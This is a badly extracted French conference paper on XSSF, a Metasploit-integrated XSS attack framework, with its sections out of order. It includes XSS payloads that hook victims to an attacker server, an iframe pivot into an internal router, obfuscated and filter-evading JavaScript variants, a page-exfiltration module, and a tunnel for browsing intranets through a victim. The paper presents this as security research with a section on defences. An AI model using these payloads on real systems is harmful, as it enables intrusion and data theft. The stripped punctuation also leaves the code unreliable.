Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 16: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

